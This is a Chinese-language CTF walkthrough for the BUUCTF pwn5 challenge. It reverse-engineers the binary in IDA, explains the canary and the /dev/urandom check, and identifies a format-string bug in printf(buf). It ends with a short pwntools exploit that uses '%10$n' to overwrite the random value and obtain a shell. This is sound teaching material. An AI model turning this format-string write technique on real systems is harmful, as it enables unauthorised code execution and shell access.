BUUCTF 第五空间2019 pwn5
程序分析
国际惯例checksec一下
Ahead of main
然后打开IDA分析,IDA加载完过后,直接按F5,出现的是这些代码而不是main函数的代码
可以看到,有一个叫__libc_start_main的函数,它的参数中包含main函。程序执行时,并不是最先执行的main函数,在这之前还执行了很多初始化的代码,然后再使用__libc_start_main这个函数把main函数作为参数启动。(main函数执行完后也还会有代码执行)。
然后双击进main函数查看c语言伪代码
Canary
程序的流程很短,但是有几行关键的代码需要特别注意一下:
12 v6 = __readgsdword(0x14u);
...
...
34 if ( __readgsdword(0x14u) != v6 )
35 sub_80493D0();
36 return result;
}
每个开启了canary保护的程序,每个函数的接近开头和结尾处,都会有这几行代码,可以看到开头处__readgsdword(0x14u)读取了一个值然后赋给了v6,结尾处再用__readgsdword(0x14u)读取了一个值,然后判断是否等于v6,其实达到的目的和canary的原理一样,详情见CTF-WIKI Canary
然后是
setvbuf
13 setvbuf(stdout, 0, 2, 0);
设置缓冲区的缓冲方式和大小,确保程序能够正常输出,这里面也还有很深的知识,有兴趣可以自行google 一个setvbuf函数和setvbuf在pwn题中的使用。
获取随机数
16 fd = open("/dev/urandom", 0);
这里涉及到了一个linux系统的知识和c语言文件读写的方法
/dev/urandom
linux会把生成的随机数放到这个文件中,大家可以输入以下命令查看生成的随机数。
cat /dev/urandom
这个地方,使用open打开了这个文件,然后把返回值赋给了fd,之后就可以通过访问fd来读取这个文件中的内容了。
以前用的read,也许是这个样子:
19 read(0, buf, 0x63u);
但是这里的read:
17 read(fd, &dword_804C044, 4u);
其实和上面也差别不大,这段代码的含义是从fd中读取4个字节到 &dword_804C044 中,fd就是刚刚打开的文件流,&dword_804C044就是一个在bss段的全局变量,如果去掉符号(包括函数名,变量名等等)bss段的变量都会被整成这个鬼样子,可以自己按N键重命名变量。
关键点
前面说了那么多,应该能搞清楚后面比较关键的地方要怎么个打法,才能抓住要害:
19 read(0, buf, 0x63u); //读入数据到buf中
21 printf(buf); //打印buf
23 read(0, nptr, 0xFu);//再读入数据到nptr中
24 if ( atoi(nptr) == random ) //转换成数字后的nptr与读取的随机数比较
25 {
26 puts("ok!!");
27 system("/bin/sh"); //如果两个数相等,直接拿到shell
}
这里如果我们满足转换成数字后的nptr与读取的随机数相等 就能直接获得shell,但是随机的数又无法通过爆破来得到,而且有canary保护,栈溢出的难度也很大,但是,注意到第21行有一个奇怪的printf ,它没有参数,就直接输出了buf,而这个没有参数的printf,就成了我们pwn掉这道题的关键点
格式化字符串漏洞
关于格式化字符串漏洞,这里有篇文章写的比较好,可以参考一下
格式化字符串漏洞
看完之后就能大概清楚漏洞的原理以及大概的利用方法了,有兴趣还可以继续深入一下看一下printf还会执行什么操作。
编写EXP
我们可以利用格式化字符串漏洞,把输出的字符的输出存储到放随机数的地址。
获取需要的地址
可以通过在IDA中双击这个变量,看到它的地址,如果是临时变量,则会显示该变量在栈中的相对位置,但是地址有时候并不一定完全准确,可以用动态调试或者一些其他的方法获得全局变量的地址。
获取参数位置
在格式化字符串漏洞中%p可以把参数以16进制显示出来,可以通过输入一个作为识别的四字节字符,还有很多的%p来确定那个四字节字符为第几个参数
这里用aaaa来作为特性字符串,其中每个16进制数,nil都为一个参数,从打印出来的字符串后开始数可以看到,在第十个位置处为a的ascii码61
exp解析
from pwn import * #导入pwntools库
context.log_level = "debug" #设置信息显示模式为debug模式
p=process('./pwn5')
addr=0x0804C044 #找到的变量地址
payload = p32(addr) + b'%10$n' #通过测试得到偏移。
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd:",'4') #因为一个32位地址为4个字节,所以会输出4到地址中
p.interactive()